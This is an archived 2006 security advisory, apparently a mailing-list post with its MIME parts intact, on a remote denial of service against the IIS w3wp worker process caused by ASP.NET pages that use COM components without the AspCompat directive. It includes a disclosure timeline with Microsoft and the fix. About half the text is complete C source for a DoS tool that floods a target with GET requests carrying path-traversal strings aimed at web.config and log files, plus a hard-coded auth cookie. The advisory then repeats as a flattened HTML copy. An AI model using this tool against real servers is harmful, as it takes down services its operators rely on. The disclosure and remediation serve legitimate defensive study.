The IIS Worker Process (w3wp) DOS in ASP.NET. POC Exploit

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

The IIS Worker Process (w3wp) DOS in ASP.NET. POC Exploit

来源：www.hackingspirits.com 作者：Debasis 发布时间：2006-03-27

--0-1633069887-1142992701=:20251
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Sorry, if you are receiving multiple copies of it. Just resending as the one that I sent last night has not yet appeared.

w3wp remote DoS due to improper reference of STA COM components in ASP.NET ===========================================================================

Vendor: Microsoft Corporation
MSRC (Microsoft Security Response Center) Case No: MSRC 6367sd Product Info: IIS Worker Process (w3wp)

I. BACKGROUND
Early last year while I was trying out few canonicalization attacks on sites running asp.net applications, I came across an un-expected remote DoS against the worker process (i.e. w3wp). As the frequency of success was *random*, I didn’t took much interest in it. However during one more test in my home lab, I was able to reproduce the same w3wp crash again (almost with 7 out of 10 success ratio) which is why I thought of debugging and investigating more on this issue.

After working for more than one month with Microsoft (MSRC) on this issue, it is finally concluded that the crash can occur un-expectedly and is due to improper reference of COM or COM+ in the asp.net applications. Often developers forget to use the “AspCompat” directive which is required while referencing COM components in ASP.NET. Below are the links which provides the insight on the appropriate usage of ‘AspCompat’ :
http://msdn2.microsoft.com/en-us/library/zwk9h2kb.aspx
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnbda/html/dbgch04.asp

II. DESCRIPTION

Missing AspCompat directive causes general instability and poor performance of the web application, just a simple increase of load on a web server may cause it to crash.

If simultaneous requests are made to the webserver for atleast 100 – 300 for each URL that references COM components and restricted files (within the application directory path) then the worker process fails or crash at any particular instant. The URLs can look something similar to those given below:

http://<Domain>/asp-app\web.config
http://<Domain>/asp-app\default.aspx (sample links with reference to any COM component) http://<Domain>/asp-app\..\aspapplogs/log1.log

III. TESTING ENVIRONMENT
This test has been performed on –
Windows 2003 (SP1) + IIS 6.0 + .NET Framework 1.1 Windows XP Professional Edition + IIS 6.0 + .NET Framework 1.1

IV. PROOF-OF-CONCEPT
The exploit code and the PoC details can be downloaded from the following link:
http://hackingspirits.com/vuln-rnd/vuln-rnd.html

V. SOLUTION (PROVIDED BY MICROSOFT)

ASP-intrinsic objects (like STA COM components) are not enabled in ASP.NET by default, and in ASP.NET, the thread pool is a multithreaded apartment (MTA) by default. So, to use the COM components effectively these defaults should be explicitly changed by using the following attribute in the @Page directive:

<%@Page ASPCompat="true" %>

This directive causes ASP.NET to provide access to ASP-intrinsic objects and changes the thread pool to STA. It is observed that after addition of this directive, the issue gets resolved.

VI. HISTORY

1/10/2006 - Bug reported to the vendor
1/11/2006 - MSRC acknowledged and assigned a case number 6367
1/12/2006 - Vendor requested for additional info
1/12/2006 - Vendor provided with additional info
1/24/2006 - Vendor requested for stack dump
1/27/2006 - Stack dump was provided to vendor
2/02/2006 - Vendor requested for a re-test with the a temporary fix applied
2/10/2006 - Issue re-tested with the fix applied and the test failed
2/18/2006 - Vendor confirmed the issue and suggested the fix.
<Snip>
ASP.NET customers forgetting to add ASPCompat=true when it's needed was a typical problem that we used to see a lot, but it does not happen that often. Symptoms are various hangs, crashes and slowdowns which can be confusing. The proper way to use COM components in ASP.NET applications is well-documented on MSDN.
</ Snip >
2/23/2006 - Vendor requested to get the security advisory passed via the MSRC before releasing.
3/14/2006 - Vendor provided with the draft version of the advisory
3/16/2006 - Vendor reviewed the advisory and suggested minor changes
3/21/2006 - Vendor provided with the updated advisory with the necessary changes made
3/21/2006 - Vendor granted permission to release the advisory
3/21/2006 - Public Disclosure

VII. CREDITS

Debasis Mohanty
www.hackingspirits.com
debasis@hackingspirits.com

Download PoC for more details - http://hackingspirits.com/vuln-rnd/vuln-rnd.html

Note: Any queries related to this issue and its fix can be directed to Microsoft with the MSRC case number 6367. Crash Dump will be provided only on request.

Appendix I

// w3wp-dos.c //

#include "stdafx.h"

#pragma comment (lib,"ws2_32")

#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>

char * pszUnauthLinks(DWORD);

#define portno 80

int main(int argc, CHAR* argv[])
{
char szWorkBuff[100];
DWORD dwCount = 0, dwCounter;
int iCnt = 0, iCount = 0;

SOCKET conn_socket;
WSADATA wsaData;
struct sockaddr_in sin;
struct hostent *phostent;
char *pszTargetHost = new char[MAX_PATH];
UINT uAddr;

if (argc<2)
{
printf("============================================\n");
printf("\t\t w3wp-dos by Debasis Mohanty\n");
printf("\t\t www.hackingspirits.com\n");
printf("============================================\n");

printf("\nUsage: w3wpdos <HostIP / HostName> \n\n");

exit(0);
}

int iRetval;
if((iRetval = WSAStartup(0x202,&wsaData)) != 0) {
printf( "WSAStartup failed with error %d\n",iRetval);
WSACleanup(); exit(1); }

// Make a check on the length of the parameter provided
if (strlen(argv[1]) > MAX_PATH) {
printf( "Too long parameter ....\n"); exit(1); }
else
strcpy(pszTargetHost, argv[1]);

// Resolve the hostname into IP address or vice-versa
if(isalpha(pszTargetHost[0]))
phostent = gethostbyname(pszTargetHost);
else {
uAddr = inet_addr(pszTargetHost);
phostent = gethostbyaddr((char *)&uAddr,4,AF_INET);

if(phostent != NULL)
wsprintf( pszTargetHost, "[+] %s", phostent->h_name);
else {
printf( "Failed to resolve IP address, please provide host name.\n" );
WSACleanup();
exit(1);
}
}

if (phostent == NULL ) {
printf("Cannot resolve address [%s]: Error %d\n", pszTargetHost,
WSAGetLastError());

WSACleanup();
printf( "Target host seems to be down or the program failed to resolve host name.");
printf( "Press enter to exit" );

getchar();
exit(1); }

// Initialise Socket info
memset(&sin,0,sizeof(sin));
memcpy(&(sin.sin_addr),phostent->h_addr,phostent->h_length);
sin.sin_family = phostent->h_addrtype;
sin.sin_port = htons(portno);

conn_socket = socket(AF_INET, SOCK_STREAM, 0);
if (conn_socket < 0 ) {
printf("Error Opening socket: Error %d\n", WSAGetLastError());
WSACleanup();

return -1;}

printf("============================================\n");
printf("\t\t w3wp-dos by Debasis Mohanty\n");
printf("\t\t www.hackingspirits.com\n");
printf("============================================\n");

printf("[+] Host name: %s\n", pszTargetHost);
wsprintf( szWorkBuff, "%u.%u.%u.%u",
sin.sin_addr.S_un.S_un_b.s_b1,
sin.sin_addr.S_un.S_un_b.s_b2,
sin.sin_addr.S_un.S_un_b.s_b3,
sin.sin_addr.S_un.S_un_b.s_b4 );
printf("[+] Host IP: %s\n", szWorkBuff);

closesocket(conn_socket);

printf("[+] Ready to generate requests\n");

/* The count should be modified depending upon the
number of links in the szBuff array */
while(dwCount++ < 10)
{

conn_socket = socket(AF_INET, SOCK_STREAM, 0);
memcpy(phostent->h_addr, (char *)&sin.sin_addr, phostent->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(portno);

if(connect(conn_socket, (struct sockaddr*)&sin,sizeof(sin))!=0)
perror("connect");

printf( "[%i] %s", dwCount, pszUnauthLinks(dwCount));
for(dwCounter=1;dwCounter < 9;dwCounter++)
{
send(conn_socket,pszUnauthLinks(dwCount), strlen(pszUnauthLinks(dwCount)),0);

char *szBuffer = new char[256];
recv(conn_socket, szBuffer, 256, 0);
printf(".");
// if( szBuffer != NULL)
// printf("%s", szBuffer);
delete szBuffer;
Sleep(100);
}
printf("\n");
closesocket(conn_socket);
}

return 1;
}

char * pszUnauthLinks( DWORD dwIndex )
{
char *szBuff[10];
TCHAR *szGetReqH = new char[1024];

/* Modify the list of links given below to your asp.net links. The list should carry links which refer to any COM components and as well as other restricted links under the asp.net app path. */

szBuff[1] = "GET /aspnet-app\\web.config";
szBuff[2] = "GET /aspnet-app\\../aspnetlogs\\log1.logs";
szBuff[3] = "GET /aspnet-app\\default-userscreen.aspx";
szBuff[4] = "GET /aspnet-app\\users/config.aspx";
szBuff[5] = "GET /aspnet-app\\links/anycomref.aspx"; //
szBuff[6] = "GET /aspnet-app\\com-ref-link1.aspx"; // Links of pages referring
szBuff[7] = "GET /aspnet-app\\com-ref-link2.aspx"; // COM components.
szBuff[8] = "GET /aspnet-app\\com-ref-link3.aspx"; //
szBuff[9] = "GET /aspnet-app\\com-ref-link4.aspx"; //

/* Prepare the GET request for the desired link */
strcpy(szGetReqH, szBuff[dwIndex]);
strcat(szGetReqH, " HTTP/1.1\r\n");
strcat(szGetReqH, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n");
strcat(szGetReqH, "Accept-Language: en-us\r\n");
strcat(szGetReqH, "Accept-Encoding: gzip, deflate\r\n");
strcat(szGetReqH, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)\r\n");
strcat(szGetReqH, "Host: \r\n" );
strcat(szGetReqH, "Connection: Keep-Alive\r\n" );

/* Insert a valid Session Cookie and ASPVIEWSTATE to get more effective result */
strcat(szGetReqH, "Cookie: ASP.NET_SessionId=35i2i02dtybpvvjtog4lh0ri;\r\n" );
strcat(szGetReqH, ".ASPXAUTH=6DCE135EFC40CAB2A3B839BF21012FC6C619EB88C866A914ED9F49D67B0D01135F744632F1CC480589912023FA6D703BF02680BE6D733518A998AD1BE1FCD082F1CBC4DB54870BFE76AC713AF05B971D\r\n\r\n" );

// return szBuff[dwIndex];
return szGetReqH;
}

------ x --------

---------------------------------
To help you stay safe and secure online, we've developed the all new Yahoo! Security Centre.
--0-1633069887-1142992701=:20251
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Sorry, if you are receiving multiple copies of it. Just resending as the one that I sent last night has not yet appeared. w3wp remote DoS due to improper reference of STA COM components in ASP.NET =========================================================================== Vendor: Microsoft Corporation MSRC (Microsoft Security Response Center) Case No: MSRC 6367sd Product Info: IIS Worker Process (w3wp) I. BACKGROUND Early last year while I was trying out few canonicalization attacks on sites running asp.net applications, I came across an un-expected remote DoS against the worker process (i.e. w3wp). As the frequency of success was *random*, I didn’t took much interest in it. However during one more test in my home lab, I was able to reproduce the same w3wp crash again (almost with 7 out of 10 success ratio) which is why I thought of debugging and investigating more on this issue. After working for more than one mon
th with
Microsoft (MSRC) on this issue, it is finally concluded that the crash can occur un-expectedly and is due to improper reference of COM or COM+ in the asp.net applications. Often developers forget to use the “AspCompat” directive which is required while referencing COM components in ASP.NET. Below are the links which provides the insight on the appropriate usage of ‘AspCompat’ : http://msdn2.microsoft.com/en-us/library/zwk9h2kb.aspx http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnbda/html/dbgch04.asp II. DESCRIPTION Missing AspCompat directive causes general instability and poor performance of the web application, just a simple increase of load on a web server may cause it to crash. If simultaneous requests are made to the webserver for atleast 100 – 300 for each URL that references COM components and restricted files (within the application directory path) then the worker process
fails
or crash at any particular instant. The URLs can look something similar to those given below: http://<Domain>/asp-app\web.config http://<Domain>/asp-app\default.aspx (sample links with reference to any COM component) http://<Domain>/asp-app\..\aspapplogs/log1.log III. TESTING ENVIRONMENT This test has been performed on – Windows 2003 (SP1) + IIS 6.0 + .NET Framework 1.1 Windows XP Professional Edition + IIS 6.0 + .NET Framework 1.1 IV. PROOF-OF-CONCEPT The exploit code and the PoC details can be downloaded from the following link: http://hackingspirits.com/vuln-rnd/vuln-rnd.html V. SOLUTION (PROVIDED BY MICROSOFT) ASP-intrinsic objects (like STA COM components) are not enabled in ASP.NET by default, and in ASP.NET, the thread pool is a multithreaded apartment (MTA) by default. So, to use the COM compone
nts
effectively these defaults should be explicitly changed by using the following attribute in the @Page directive: <%@Page ASPCompat="true" %> This directive causes ASP.NET to provide access to ASP-intrinsic objects and changes the thread pool to STA. It is observed that after addition of this directive, the issue gets resolved. VI. HISTORY 1/10/2006 - Bug reported to the vendor 1/11/2006 - MSRC acknowledged and assigned a case number 6367 1/12/2006 - Vendor requested for additional info 1/12/2006 - Vendor provided with additional info 1/24/2006 - Vendor requested for stack dump 1/27/2006 - Stack dump was provided to vendor 2/02/2006 - Vendor requested for a re-test with the a temporary fix applied 2/10/2006 - &nbs
p;Issue
re-tested with the fix applied and the test failed 2/18/2006 - Vendor confirmed the issue and suggested the fix. <Snip> ASP.NET customers forgetting to add ASPCompat=true when it's needed was a typical problem that we used to see a lot, but it does not happen that often. Symptoms are various hangs, crashes and slowdowns which can be confusing. The proper way to use COM components in ASP.NET applications is well-documented on MSDN. </ Snip > 2/23/2006 - Vendor requested to get the security advisory passed via the MSRC before releasing. 3/14/2006 - Vendor provided with the draft version of the advisory 3/16/2006 - Vendor reviewed the advisory and suggested minor changes 3/21/2006 - Vendor provided with the updated advisory with the necessary changes made 3/21/2006 - Vendor granted permission to release
the
advisory 3/21/2006 - Public Disclosure VII. CREDITS Debasis Mohanty www.hackingspirits.com debasis@hackingspirits.com Download PoC for more details - http://hackingspirits.com/vuln-rnd/vuln-rnd.html Note: Any queries related to this issue and its fix can be directed to Microsoft with the MSRC case number 6367. Crash Dump will be provided only on request. Appendix I // w3wp-dos.c // #include "stdafx.h" #pragma comment (lib,"ws2_32") #include <winsock2.h> #include <windows.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <stdio.h> #include <ctype.h> char * pszUnauthLinks(DWORD); #define portno 80 int main(int argc, CHAR* argv[]) { 
char szWorkBuff[100]; DWORD dwCount = 0, dwCounter; int iCnt = 0, iCount = 0; SOCKET conn_socket; WSADATA wsaData; struct sockaddr_in sin; struct hostent *phostent; char *pszTargetHost = new char[MAX_PATH]; UINT uAddr; if (argc<2) { printf("============================================\n"); printf("\t\t w3wp-dos by Debasis Mohanty\n"); printf("\t\t www.hackingspirits.com\n"); 
printf("============================================\n"); printf("\nUsage: w3wpdos <HostIP / HostName> \n\n"); exit(0); } int iRetval; if((iRetval = WSAStartup(0x202,&wsaData)) != 0) { printf( "WSAStartup failed with error %d\n",iRetval); WSACleanup(); exit(1); } // Make a check on the length of the parameter provided if (strlen(argv[1]) > MAX_PATH) { printf( "Too long parameter ....\n"); exit(1); } else strcpy(pszTargetHost, argv[1]); // Resolve the hostname i
nto IP
address or vice-versa if(isalpha(pszTargetHost[0])) phostent = gethostbyname(pszTargetHost); else { uAddr = inet_addr(pszTargetHost); phostent = gethostbyaddr((char *)&uAddr,4,AF_INET); if(phostent != NULL) wsprintf( pszTargetHost, "[+] %s", phostent->h_name); else { printf( "Failed to resolve IP address, please provide host name.\n" ); WSACleanup(); exit(1); } 

} if (phostent == NULL ) { printf("Cannot resolve address [%s]: Error %d\n", pszTargetHost, WSAGetLastError()); WSACleanup(); printf( "Target host seems to be down or the program failed to resolve host name."); printf( "Press enter to exit" ); getchar(); exit(1); } // Initialise Socket info memset(&sin,0,sizeof(sin)); memcpy(&(sin.sin_addr),phostent->h_addr,phostent->h_length); sin.sin_family = phostent->h_addrtype; sin.sin_port = htons(portno); conn_socket = socket(AF_INET, SOCK_STREA
M, 0);
 if (conn_socket < 0 ) { printf("Error Opening socket: Error %d\n", WSAGetLastError()); WSACleanup(); return -1;} printf("============================================\n"); printf("\t\t w3wp-dos by Debasis Mohanty\n"); printf("\t\t www.hackingspirits.com\n"); printf("============================================\n"); printf("[+] Host name: %s\n", pszTargetHost); wsprintf( szWorkBuff, "%u.%u.%u.%u", sin.sin_addr.S_un.S_un_b.s_b1, sin.sin_addr.S_un.S_un_b.s_b2, 
sin.sin_addr.S_un.S_un_b.s_b3, sin.sin_addr.S_un.S_un_b.s_b4 ); printf("[+] Host IP: %s\n", szWorkBuff); closesocket(conn_socket); printf("[+] Ready to generate requests\n"); /* The count should be modified depending upon the number of links in the szBuff array */ while(dwCount++ < 10) { conn_socket = socket(AF_INET, SOCK_STREAM, 0); memcpy(phostent->h_addr, (char *)&sin.sin_addr, phostent->h_length); sin.sin_f
amily =
AF_INET; sin.sin_port = htons(portno); if(connect(conn_socket, (struct sockaddr*)&sin,sizeof(sin))!=0) perror("connect"); printf( "[%i] %s", dwCount, pszUnauthLinks(dwCount)); for(dwCounter=1;dwCounter < 9;dwCounter++) { send(conn_socket,pszUnauthLinks(dwCount), strlen(pszUnauthLinks(dwCount)),0); char *szBuffer = new char[256]; recv(conn_socket, szBuffer, 256, 0); printf("."); // &nb
sp;
 if( szBuffer != NULL) // printf("%s", szBuffer); delete szBuffer; Sleep(100); } printf("\n"); closesocket(conn_socket); } return 1; } char * pszUnauthLinks( DWORD dwIndex ) { char *szBuff[10]; TCHAR *szGetReqH = new char[1024]; /* Modify the list of links given below to your asp.net links. The list should carry links which refer to any COM components and as well as other restricted links under the asp.net app
path.
 */ szBuff[1] = "GET /aspnet-app\\web.config"; szBuff[2] = "GET /aspnet-app\\../aspnetlogs\\log1.logs"; szBuff[3] = "GET /aspnet-app\\default-userscreen.aspx"; szBuff[4] = "GET /aspnet-app\\users/config.aspx"; szBuff[5] = "GET /aspnet-app\\links/anycomref.aspx"; // szBuff[6] = "GET /aspnet-app\\com-ref-link1.aspx"; // Links of pages referring szBuff[7] = "GET /aspnet-app\\com-ref-link2.aspx"; // COM components. szBuff[8] = "GET /aspnet-app\\com-ref-link3.aspx"; // szBuff[9] = "GET /aspnet-app\\com-ref-link4.aspx"; // /* Prepare the GET request
for the
desired link */ strcpy(szGetReqH, szBuff[dwIndex]); strcat(szGetReqH, " HTTP/1.1\r\n"); strcat(szGetReqH, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"); strcat(szGetReqH, "Accept-Language: en-us\r\n"); strcat(szGetReqH, "Accept-Encoding: gzip, deflate\r\n"); strcat(szGetReqH, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)\r\n"); strcat(szGetReqH, "Host: \r\n" ); strcat(szGetReqH, "Connection: Keep-Alive\r\n" ); /* Insert a valid Session Cookie and ASPVIEWSTATE to get more effective result */ strcat(szGetReqH, "Cookie: ASP.NET_SessionId=35i2i02dtybpvvjtog4lh0ri;\r\n" ); strcat(szGetReqH,
".ASPXAUTH=6DCE135EFC40CAB2A3B839BF21012FC6C619EB88C866A914ED9F49D67B0D01135F744632F1CC480589912023FA6D703BF02680BE6D733518A998AD1BE1FCD082F1CBC4DB54870BFE76AC713AF05B971D\r\n\r\n" ); // return szBuff[dwIndex]; return szGetReqH; } ------ x -------- 
<hr size=1>To help you stay safe and secure online, we've developed the all new <a href="http://us.rd.yahoo.com/mail/uk/taglines/default/security_centre/*http://uk.security.yahoo.com/">Yahoo! Security Centre</a>.
--0-1633069887-1142992701=:20251--

[